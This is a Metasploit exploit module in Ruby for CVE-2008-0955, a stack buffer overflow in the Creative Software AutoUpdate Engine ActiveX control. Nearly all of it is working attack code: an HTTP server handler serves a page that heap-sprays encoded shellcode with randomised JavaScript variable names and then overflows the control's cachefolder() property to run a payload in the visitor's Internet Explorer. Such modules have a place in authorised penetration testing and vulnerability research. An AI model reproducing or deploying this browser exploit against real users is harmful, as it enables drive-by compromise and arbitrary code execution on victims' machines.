Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow



##

# $Id: creative_software_cachefolder.rb 9262 2010-05-09 17:45:00Z jduck $

##



##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = NormalRanking



    include Msf::Exploit::Remote::HttpServer::HTML



    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',

            'Description'    => %q{

                    This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When

                sending an overly long string to the cachefolder() property of CTSUEng.ocx

                an attacker may be able to execute arbitrary code.

            },

            'License'        => MSF_LICENSE,

            'Author'         => [ 'MC', ],

            'Version'        => '$Revision: 9262 $',

            'References'     =>

                [

                    [ 'CVE', '2008-0955' ],

                    [ 'OSVDB', '45655' ],

                ],

            'DefaultOptions' =>

                {

                    'EXITFUNC' => 'process',

                },

            'Payload'        =>

                {

                    'Space'         => 1024,

                    'BadChars'      => "\x00",

                },

            'Platform'       => 'win',

            'Targets'        =>

                [

                    [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]

                ],

            'DisclosureDate' => 'May 28 2008',

            'DefaultTarget'  => 0))

    end



    def autofilter

        false

    end



    def check_dependencies

        use_zlib

    end



    def on_request_uri(cli, request)

        # Re-generate the payload

        return if ((p = regenerate_payload(cli)) == nil)



        # Encode the shellcode

        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))



        # Randomize the javascript variable names

        vname  = rand_text_alpha(rand(100) + 1)

        var_i  = rand_text_alpha(rand(30)  + 2)

        rand1  = rand_text_alpha(rand(100) + 1)

        rand2  = rand_text_alpha(rand(100) + 1)

        rand3  = rand_text_alpha(rand(100) + 1)

        rand4  = rand_text_alpha(rand(100) + 1)

        rand5  = rand_text_alpha(rand(100) + 1)

        rand6  = rand_text_alpha(rand(100) + 1)

        rand7  = rand_text_alpha(rand(100) + 1)

        rand8  = rand_text_alpha(rand(100) + 1)



        content = %Q|

            <html>

                <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>

                <script language="JavaScript">

                var #{rand1} = unescape('#{shellcode}');

                var #{rand2} = unescape("%u0c0c%u0c0c");

                var #{rand3} = 20;

                var #{rand4} = #{rand3} + #{rand1}.length;

                while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

                var #{rand5} = #{rand2}.substring(0,#{rand4});

                var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

                while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

                var #{rand7} = new Array();

                for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

                var #{rand8} = ""

                for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }

                #{vname}.cachefolder(#{rand8});

                </script>

            </html>

            |



        # Randomize the whitespace in the document

        content = Rex::Text.randomize_space(content)



        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")



        # Transmit the response to the client

        send_response_html(cli, content)



        # Handle the payload

        handler(cli)

    end



end